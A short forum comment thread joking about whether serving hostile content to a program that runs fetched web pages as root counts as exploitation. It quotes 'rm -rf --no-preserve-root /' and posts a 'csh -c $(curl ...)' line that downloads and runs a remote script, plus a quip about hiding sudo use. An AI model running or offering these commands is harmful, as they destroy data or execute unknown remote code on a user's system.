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Re:Anti-fingerprinting extensions tend to make fingerprintin... by _def on Thursday December 10, 2020 @04:14PM (#25378791)
> If someone made an application that downloaded web pages and executed the contents with SUDO privileges, would I be exploiting someone if my website was 'rm -rf --no-preserve-root /'?

Yes.

Re:Anti-fingerprinting extensions tend to make fingerprintin... by KingMachiavelli on Thursday December 10, 2020 @05:01PM (#25379351)
I'll take that bet. Whatever you do don't run this!

> csh -c $(curl dev.sansorgan.es)

(I specified csh as anyone willing to try this probably wouldn't have it installed).

Re:Anti-fingerprinting extensions tend to make fingerprintin... by LinuxBender on Thursday December 10, 2020 @07:46PM (#25380913)
Remember to test with

  sudo -n
You don't want to give away that you are using sudo to anyone that does not first read the script.
Re:Anti-fingerprinting extensions tend to make fingerprintin... by h_anna_h on Thursday December 10, 2020 @05:55PM (#25379932)
Guess your post is exploiting these that run a script that executes random commands that they find online with root privileges. Better pay up.